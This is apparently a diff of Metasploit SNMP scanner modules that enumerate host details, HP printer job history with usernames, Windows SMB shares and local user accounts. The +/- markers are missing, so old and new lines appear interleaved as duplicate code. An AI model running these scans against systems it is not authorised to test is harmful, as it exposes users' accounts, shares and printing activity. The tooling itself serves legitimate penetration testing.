storage_information.push([[descr.value], [index.value], [type.value], [allocation.value], [size.value], [used.value]])
|
||||
end
|
||||
|
||||
if !storage_information.empty?
|
||||
storage = []
|
||||
storage_information.each do |a, b, c, d, e, f|
|
||||
s = {}
|
||||
|
||||
e = number_to_human_size(e, d)
|
||||
f = number_to_human_size(f, d)
|
||||
|
||||
s['Description'] = a
|
||||
s['Device id'] = b
|
||||
s['Filesystem type'] = c
|
||||
s['Device unit'] = d
|
||||
s['Memory size'] = e
|
||||
s['Memory used'] = f
|
||||
|
||||
storage.push(s)
|
||||
end
|
||||
output_data['Storage information'] = storage
|
||||
end
|
||||
|
||||
file_system = {}
|
||||
|
||||
hr_fs_index = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1')
|
||||
if hr_fs_index.to_s !~ /Null/
|
||||
file_system['Index'] = hr_fs_index
|
||||
end
|
||||
|
||||
hr_fs_mount_point = snmp.get_value('1.3.6.1.2.1.25.3.8.1.2.1')
|
||||
if hr_fs_mount_point.to_s !~ /Null/
|
||||
file_system['Mount point'] = hr_fs_mount_point
|
||||
end
|
||||
|
||||
hr_fs_remote_mount_point = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1')
|
||||
if hr_fs_remote_mount_point.to_s !~ /Null/ && hr_fs_remote_mount_point.to_s !~ /^noSuch/
|
||||
if hr_fs_remote_mount_point.empty?
|
||||
hr_fs_remote_mount_point = '-'
|
||||
end
|
||||
file_system['Remote mount point'] = hr_fs_remote_mount_point
|
||||
end
|
||||
|
||||
hr_fs_type = snmp.get_value('1.3.6.1.2.1.25.3.8.1.4.1')
|
||||
|
||||
case hr_fs_type.to_s
|
||||
when /^1.3.6.1.2.1.25.3.9.1$/
|
||||
hr_fs_type = 'Other'
|
||||
when /^1.3.6.1.2.1.25.3.9.2$/
|
||||
hr_fs_type = 'Unknown'
|
||||
when /^1.3.6.1.2.1.25.3.9.3$/
|
||||
hr_fs_type = 'BerkeleyFFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.4$/
|
||||
hr_fs_type = 'Sys5FS'
|
||||
when /^1.3.6.1.2.1.25.3.9.5$/
|
||||
hr_fs_type = 'Fat'
|
||||
when /^1.3.6.1.2.1.25.3.9.6$/
|
||||
hr_fs_type = 'HPFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.7$/
|
||||
hr_fs_type = 'HFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.8$/
|
||||
hr_fs_type = 'MFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.9$/
|
||||
hr_fs_type = 'NTFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.10$/
|
||||
hr_fs_type = 'VNode'
|
||||
when /^1.3.6.1.2.1.25.3.9.11$/
|
||||
hr_fs_type = 'Journaled'
|
||||
when /^1.3.6.1.2.1.25.3.9.12$/
|
||||
hr_fs_type = 'iso9660'
|
||||
when /^1.3.6.1.2.1.25.3.9.13$/
|
||||
hr_fs_type = 'RockRidge'
|
||||
when /^1.3.6.1.2.1.25.3.9.14$/
|
||||
hr_fs_type = 'NFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.15$/
|
||||
hr_fs_type = 'Netware'
|
||||
when /^1.3.6.1.2.1.25.3.9.16$/
|
||||
hr_fs_type = 'AFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.17$/
|
||||
hr_fs_type = 'DFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.18$/
|
||||
hr_fs_type = 'Appleshare'
|
||||
when /^1.3.6.1.2.1.25.3.9.19$/
|
||||
hr_fs_type = 'RFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.20$/
|
||||
hr_fs_type = 'DGCFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.21$/
|
||||
hr_fs_type = 'BFS'
|
||||
when /^1.3.6.1.2.1.25.3.9.22$/
|
||||
hr_fs_type = 'FAT32'
|
||||
when /^1.3.6.1.2.1.25.3.9.23$/
|
||||
hr_fs_type = 'LinuxExt2'
|
||||
else
|
||||
hr_fs_type = 'Null'
|
||||
end
|
||||
|
||||
if hr_fs_type.to_s !~ /Null/
|
||||
file_system['Type'] = hr_fs_type
|
||||
end
|
||||
|
||||
hr_fs_access = snmp.get_value('1.3.6.1.2.1.25.3.8.1.5.1')
|
||||
if hr_fs_access.to_s !~ /Null/
|
||||
file_system['Access'] = hr_fs_access
|
||||
end
|
||||
|
||||
hr_fs_bootable = snmp.get_value('1.3.6.1.2.1.25.3.8.1.6.1')
|
||||
if hr_fs_bootable.to_s !~ /Null/
|
||||
file_system['Bootable'] = hr_fs_bootable
|
||||
end
|
||||
|
||||
if !file_system.empty?
|
||||
output_data['File system information'] = file_system
|
||||
end
|
||||
|
||||
device_information = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.25.3.2.1.1', '1.3.6.1.2.1.25.3.2.1.2',
|
||||
'1.3.6.1.2.1.25.3.2.1.5', '1.3.6.1.2.1.25.3.2.1.3'
|
||||
]) do |index, type, status, descr|
|
||||
case type.value.to_s
|
||||
when /^1.3.6.1.2.1.25.3.1.1$/
|
||||
type.value = 'Other'
|
||||
when /^1.3.6.1.2.1.25.3.1.2$/
|
||||
type.value = 'Unknown'
|
||||
when /^1.3.6.1.2.1.25.3.1.3$/
|
||||
type.value = 'Processor'
|
||||
when /^1.3.6.1.2.1.25.3.1.4$/
|
||||
type.value = 'Network'
|
||||
when /^1.3.6.1.2.1.25.3.1.5$/
|
||||
type.value = 'Printer'
|
||||
when /^1.3.6.1.2.1.25.3.1.6$/
|
||||
type.value = 'Disk Storage'
|
||||
when /^1.3.6.1.2.1.25.3.1.10$/
|
||||
type.value = 'Video'
|
||||
when /^1.3.6.1.2.1.25.3.1.11$/
|
||||
type.value = 'Audio'
|
||||
when /^1.3.6.1.2.1.25.3.1.12$/
|
||||
type.value = 'Coprocessor'
|
||||
when /^1.3.6.1.2.1.25.3.1.13$/
|
||||
type.value = 'Keyboard'
|
||||
when /^1.3.6.1.2.1.25.3.1.14$/
|
||||
type.value = 'Modem'
|
||||
when /^1.3.6.1.2.1.25.3.1.15$/
|
||||
type.value = 'Parallel Port'
|
||||
when /^1.3.6.1.2.1.25.3.1.16$/
|
||||
type.value = 'Pointing'
|
||||
when /^1.3.6.1.2.1.25.3.1.17$/
|
||||
type.value = 'Serial Port'
|
||||
when /^1.3.6.1.2.1.25.3.1.18$/
|
||||
type.value = 'Tape'
|
||||
when /^1.3.6.1.2.1.25.3.1.19$/
|
||||
type.value = 'Clock'
|
||||
when /^1.3.6.1.2.1.25.3.1.20$/
|
||||
type.value = 'Volatile Memory'
|
||||
when /^1.3.6.1.2.1.25.3.1.21$/
|
||||
type.value = 'Non Volatile Memory'
|
||||
else
|
||||
type.value = 'unknown'
|
||||
end
|
||||
|
||||
case status.value
|
||||
when 1
|
||||
status.value = 'unknown'
|
||||
when 2
|
||||
status.value = 'running'
|
||||
when 3
|
||||
status.value = 'warning'
|
||||
when 4
|
||||
status.value = 'testing'
|
||||
when 5
|
||||
status.value = 'down'
|
||||
else
|
||||
status.value = 'unknown'
|
||||
end
|
||||
|
||||
descr.value = 'unknown' if descr.value.to_s =~ /noSuchInstance/
|
||||
|
||||
device_information.push([index.value, type.value, status.value, descr.value])
|
||||
end
|
||||
|
||||
if !device_information.empty?
|
||||
output_data['Device information'] = [['Id', 'Type', 'Status', 'Descr']] + device_information
|
||||
end
|
||||
|
||||
software_list = []
|
||||
|
||||
snmp.walk(['1.3.6.1.2.1.25.6.3.1.1', '1.3.6.1.2.1.25.6.3.1.2']) do |index, name|
|
||||
software_list.push([index.value, name.value])
|
||||
end
|
||||
|
||||
if !software_list.empty?
|
||||
output_data['Software components'] = [['Index', 'Name']] + software_list
|
||||
end
|
||||
|
||||
process_interfaces = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.25.4.2.1.1', '1.3.6.1.2.1.25.4.2.1.2', '1.3.6.1.2.1.25.4.2.1.4',
|
||||
'1.3.6.1.2.1.25.4.2.1.5', '1.3.6.1.2.1.25.4.2.1.7'
|
||||
]) do |id, name, path, param, status|
|
||||
if status.value == 1
|
||||
status.value = 'running'
|
||||
elsif status.value == 2
|
||||
status.value = 'runnable'
|
||||
else
|
||||
status.value = 'unknown'
|
||||
end
|
||||
|
||||
process_interfaces.push([id.value, status.value, name.value, path.value, param.value])
|
||||
end
|
||||
|
||||
if !process_interfaces.empty?
|
||||
output_data['Processes'] = [['Id', 'Status', 'Name', 'Path', 'Parameters']] + process_interfaces
|
||||
end
|
||||
|
||||
print_line("\n[*] System information:\n")
|
||||
|
||||
line = ''
|
||||
width = 30 # name field width
|
||||
twidth = 32 # table like display cell width
|
||||
|
||||
fields_order.each do |k|
|
||||
next unless output_data.key?(k)
|
||||
|
||||
v = output_data[k]
|
||||
|
||||
case v
|
||||
when Array
|
||||
content = ''
|
||||
|
||||
v.each do |a|
|
||||
case a
|
||||
when Hash
|
||||
a.each do |sk, sv|
|
||||
sk = truncate_to_twidth(sk, twidth)
|
||||
content << sk.to_s
|
||||
content << ' ' * [0, width - sk.length].max
|
||||
content << ": #{sv}\n"
|
||||
end
|
||||
when Array
|
||||
a.each do |sv|
|
||||
sv = sv.to_s.strip
|
||||
# I don't like cutting info
|
||||
# sv = truncate_to_twidth(sv, twidth)
|
||||
content << sprintf('%-20s', sv)
|
||||
end
|
||||
else
|
||||
content << sprintf(" %s\n", a)
|
||||
end
|
||||
content << "\n"
|
||||
end
|
||||
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
port: datastore['RPORT'].to_i,
|
||||
type: "snmp.#{k}",
|
||||
data: { content: content }
|
||||
)
|
||||
|
||||
line << "\n[*] #{k}:\n\n#{content}"
|
||||
|
||||
when Hash
|
||||
content = ''
|
||||
v.each do |sk, sv|
|
||||
sk = truncate_to_twidth(sk, twidth)
|
||||
content << sk.to_s
|
||||
content << ' ' * [0, width - sk.length].max
|
||||
content << ": #{sv}\n"
|
||||
end
|
||||
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
port: datastore['RPORT'].to_i,
|
||||
type: "snmp.#{k}",
|
||||
data: { content: content }
|
||||
)
|
||||
|
||||
line << "\n[*] #{k}:\n\n#{content}"
|
||||
content << "\n"
|
||||
else
|
||||
if v.nil? || v.empty? || v =~ /Null/
|
||||
v = '-'
|
||||
end
|
||||
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
port: datastore['RPORT'].to_i,
|
||||
type: "snmp.#{k}",
|
||||
data: { content: v }
|
||||
)
|
||||
|
||||
k = truncate_to_twidth(k, twidth)
|
||||
line << k.to_s
|
||||
line << ' ' * [0, width - k.length].max
|
||||
line << ": #{v}\n"
|
||||
end
|
||||
end
|
||||
|
||||
print_line(line)
|
||||
print_line('')
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
# rubocop:enable Metrics/MethodLength
|
||||
|
||||
def truncate_to_twidth(string, twidth)
|
||||
string.slice(0..twidth - 2)
|
||||
end
|
||||
|
||||
def truncate_to_twidth(string,twidth)
|
||||
string.slice(0..twidth-2)
|
||||
end
|
||||
|
||||
def number_to_human_size(size,unit)
|
||||
def number_to_human_size(size, unit)
|
||||
size = size.first.to_i * unit.first.to_i
|
||||
|
||||
if size < 1024
|
||||
"#{size} bytes"
|
||||
elsif size < 1024.0 * 1024.0
|
||||
"%.02f KB" % (size / 1024.0)
|
||||
'%.02f KB' % (size / 1024.0)
|
||||
elsif size < 1024.0 * 1024.0 * 1024.0
|
||||
"%.02f MB" % (size / 1024.0 / 1024.0)
|
||||
'%.02f MB' % (size / 1024.0 / 1024.0)
|
||||
else
|
||||
"%.02f GB" % (size / 1024.0 / 1024.0 / 1024.0)
|
||||
'%.02f GB' % (size / 1024.0 / 1024.0 / 1024.0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,145 +3,149 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP LaserJet Printer SNMP Enumeration',
|
||||
'Description' => %q{
|
||||
This module allows enumeration of files previously printed.
|
||||
It provides details as filename, client, timestamp and username information.
|
||||
The default community used is "public".
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'HP LaserJet Printer SNMP Enumeration',
|
||||
'Description' => %q{
|
||||
This module allows enumeration of files previously printed.
|
||||
It provides details as filename, client, timestamp and username information.
|
||||
The default community used is "public".
|
||||
},
|
||||
'References' => [
|
||||
[ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
|
||||
[ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ],
|
||||
[ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ],
|
||||
[ 'URL', 'http://www.securiteam.com/securitynews/5AP0S2KGVS.html' ],
|
||||
[ 'URL', 'http://stuff.mit.edu/afs/athena/dept/cron/tools/share/mibs/290923.mib' ],
|
||||
],
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
vprint_status("Connecting to #{ip}")
|
||||
vprint_status("Connecting to #{ip}")
|
||||
|
||||
output_data = []
|
||||
output_data = []
|
||||
|
||||
output_data << "IP address : #{ip}"
|
||||
output_data << "IP address : #{ip}"
|
||||
|
||||
sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
|
||||
output_data << "Hostname : #{sysName.strip}"
|
||||
sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
|
||||
output_data << "Hostname : #{sysName.strip}"
|
||||
|
||||
sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
|
||||
sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
|
||||
output_data << "Description : #{sysDesc.strip}"
|
||||
sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
|
||||
sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
|
||||
output_data << "Description : #{sysDesc.strip}"
|
||||
|
||||
sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
|
||||
output_data << "Contact : #{sysContact.strip}" if not sysContact.empty?
|
||||
sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
|
||||
output_data << "Contact : #{sysContact.strip}" if !sysContact.empty?
|
||||
|
||||
sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
|
||||
output_data << "Location : #{sysLocation.strip}" if not sysLocation.empty?
|
||||
sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
|
||||
output_data << "Location : #{sysLocation.strip}" if !sysLocation.empty?
|
||||
|
||||
output_data << ""
|
||||
output_data << ''
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?)
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name
|
||||
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command
|
||||
]) do |name1,name2,username,client,domain,timestamp,app_name,app_command|
|
||||
snmp.walk([
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1', # job-info-name1 - document name1
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2', # job-info-name2 - document name2
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1', # job-info-attr-1 - username
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2', # job-info-attr-2 - machine name
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3', # job-info-attr-3 - domain (?)
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4', # job-info-attr-4 - timestamp
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6', # job-info-attr-6 - application name
|
||||
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7', # job-info-attr-7 - application command
|
||||
]) do |name1, name2, username, client, domain, timestamp, app_name, app_command|
|
||||
filename = name1.value.to_s + name2.value.to_s
|
||||
|
||||
filename = name1.value.to_s + name2.value.to_s
|
||||
|
||||
if (username.value.to_s !~ /noSuchInstance/)
|
||||
if username.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
username = $2
|
||||
end
|
||||
else
|
||||
username = ''
|
||||
end
|
||||
|
||||
if (client.value.to_s !~ /noSuchInstance/)
|
||||
if client.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
client = $2
|
||||
end
|
||||
else
|
||||
client = ''
|
||||
end
|
||||
|
||||
if (domain.value.to_s !~ /noSuchInstance/)
|
||||
if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
domain = $2
|
||||
end
|
||||
else
|
||||
domain = ''
|
||||
end
|
||||
|
||||
if (timestamp.value.to_s !~ /noSuchInstance/)
|
||||
if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
timestamp = $2
|
||||
end
|
||||
else
|
||||
timestamp = ''
|
||||
end
|
||||
|
||||
if (app_name.value.to_s !~ /noSuchInstance/)
|
||||
if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
app_name = $2
|
||||
end
|
||||
else
|
||||
app_name = ''
|
||||
end
|
||||
|
||||
if (app_command.value.to_s !~ /noSuchInstance/)
|
||||
if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
app_command = $2
|
||||
end
|
||||
else
|
||||
app_command = ''
|
||||
end
|
||||
|
||||
if not timestamp.empty?
|
||||
output_data << "File name : #{filename}"
|
||||
output_data << "Username : #{username}" if not username.empty?
|
||||
output_data << "Client : #{client}" if not client.empty?
|
||||
output_data << "Domain : #{domain}" if not domain.empty?
|
||||
output_data << "Timestamp : #{timestamp}" if not timestamp.empty?
|
||||
output_data << "Application : #{app_name} (#{app_command})" if not app_name.empty?
|
||||
output_data << ""
|
||||
if (username.value.to_s !~ /noSuchInstance/)
|
||||
if username.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
username = ::Regexp.last_match(2)
|
||||
end
|
||||
else
|
||||
username = ''
|
||||
end
|
||||
|
||||
output_data.each do |row|
|
||||
print_good("#{row}")
|
||||
if (client.value.to_s !~ /noSuchInstance/)
|
||||
if client.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
client = ::Regexp.last_match(2)
|
||||
end
|
||||
else
|
||||
client = ''
|
||||
end
|
||||
|
||||
disconnect_snmp
|
||||
if (domain.value.to_s !~ /noSuchInstance/)
|
||||
if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
domain = ::Regexp.last_match(2)
|
||||
end
|
||||
else
|
||||
domain = ''
|
||||
end
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip}, SNMP request timeout.")
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("#{ip}, Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip}, Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip}, Unknown error: #{e.class} #{e}")
|
||||
if (timestamp.value.to_s !~ /noSuchInstance/)
|
||||
if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
timestamp = ::Regexp.last_match(2)
|
||||
end
|
||||
else
|
||||
timestamp = ''
|
||||
end
|
||||
|
||||
if (app_name.value.to_s !~ /noSuchInstance/)
|
||||
if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
app_name = ::Regexp.last_match(2)
|
||||
end
|
||||
else
|
||||
app_name = ''
|
||||
end
|
||||
|
||||
if (app_command.value.to_s !~ /noSuchInstance/)
|
||||
if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/
|
||||
app_command = ::Regexp.last_match(2)
|
||||
end
|
||||
else
|
||||
app_command = ''
|
||||
end
|
||||
|
||||
if !timestamp.empty?
|
||||
output_data << "File name : #{filename}"
|
||||
output_data << "Username : #{username}" if !username.empty?
|
||||
output_data << "Client : #{client}" if !client.empty?
|
||||
output_data << "Domain : #{domain}" if !domain.empty?
|
||||
output_data << "Timestamp : #{timestamp}" if !timestamp.empty?
|
||||
output_data << "Application : #{app_name} (#{app_command})" if !app_name.empty?
|
||||
output_data << ''
|
||||
end
|
||||
end
|
||||
|
||||
output_data.each do |row|
|
||||
print_good(row.to_s)
|
||||
end
|
||||
|
||||
disconnect_snmp
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip}, SNMP request timeout.")
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("#{ip}, Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip}, Invalid IP address. Check it with 'snmpwalk tool'.")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip}, Unknown error: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -10,55 +11,60 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SNMP Windows SMB Share Enumeration',
|
||||
'Description' => "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP",
|
||||
'Author' => ['tebo[at]attackresearch.com'],
|
||||
'License' => MSF_LICENSE
|
||||
'Name' => 'SNMP Windows SMB Share Enumeration',
|
||||
'Description' => 'This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP',
|
||||
'Author' => ['tebo[at]attackresearch.com'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
share_tbl = ["1.3.6.1.4.1.77.1.2.27.1.1",
|
||||
"1.3.6.1.4.1.77.1.2.27.1.2",
|
||||
"1.3.6.1.4.1.77.1.2.27.1.3"]
|
||||
share_tbl = [
|
||||
'1.3.6.1.4.1.77.1.2.27.1.1',
|
||||
'1.3.6.1.4.1.77.1.2.27.1.2',
|
||||
'1.3.6.1.4.1.77.1.2.27.1.3'
|
||||
]
|
||||
|
||||
@shares = []
|
||||
if snmp.get_value('sysDescr.0') =~ /Windows/
|
||||
@shares = []
|
||||
if snmp.get_value('sysDescr.0') =~ /Windows/
|
||||
|
||||
snmp.walk(share_tbl) do |entry|
|
||||
@shares << entry.collect{|x|x.value}
|
||||
end
|
||||
snmp.walk(share_tbl) do |entry|
|
||||
@shares << entry.collect(&:value)
|
||||
end
|
||||
|
||||
disconnect_snmp
|
||||
|
||||
if not @shares.empty?
|
||||
print_good("#{ip} #{@shares.map{|x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") #"
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'snmp',
|
||||
:type => 'smb.shares',
|
||||
:data => { :shares => @shares },
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
|
||||
disconnect_snmp
|
||||
|
||||
return if @shares.empty?
|
||||
|
||||
print_good("#{ip} #{@shares.map { |x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}")
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'udp',
|
||||
port: datastore['RPORT'],
|
||||
sname: 'snmp',
|
||||
type: 'smb.shares',
|
||||
data: { shares: @shares },
|
||||
update: :unique_data
|
||||
)
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout => e
|
||||
vprint_error("#{ip} #{e.message}")
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error("#{ip} #{e.message}")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -11,66 +11,72 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SNMP Windows Username Enumeration',
|
||||
'Name' => 'SNMP Windows Username Enumeration',
|
||||
'Description' => '
|
||||
This module will use LanManager/psProcessUsername OID values to
|
||||
enumerate local user accounts on a Windows/Solaris system via SNMP
|
||||
',
|
||||
'Author' => ['tebo[at]attackresearch.com'],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => ['tebo[at]attackresearch.com'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
peer = "#{ip}:#{rport}"
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
sys_desc = snmp.get_value('sysDescr.0')
|
||||
if sys_desc.blank? || sys_desc.to_s == 'Null'
|
||||
vprint_error("#{peer} No sysDescr received")
|
||||
return
|
||||
end
|
||||
sys_desc = sys_desc.split(/[\r\n]/).join(' ')
|
||||
|
||||
sys_desc_map = {
|
||||
/Windows/ => '1.3.6.1.4.1.77.1.2.25',
|
||||
/Sun/ => '1.3.6.1.4.1.42.3.12.1.8'
|
||||
}
|
||||
|
||||
matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values
|
||||
if matching_oids.empty?
|
||||
vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'")
|
||||
return
|
||||
end
|
||||
users = []
|
||||
|
||||
matching_oids.each do |oid|
|
||||
snmp.walk(oid) do |row|
|
||||
row.each { |val| users << val.value.to_s }
|
||||
end
|
||||
end
|
||||
unless users.empty?
|
||||
users.sort!
|
||||
users.uniq!
|
||||
print_good("#{peer} Found #{users.size} users: #{users.join(', ')}")
|
||||
end
|
||||
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
update: :unique_data,
|
||||
type: 'snmp.users',
|
||||
data: { :users => users }
|
||||
)
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
# too noisy for a scanner
|
||||
ensure
|
||||
disconnect_snmp
|
||||
sys_desc = snmp.get_value('sysDescr.0')
|
||||
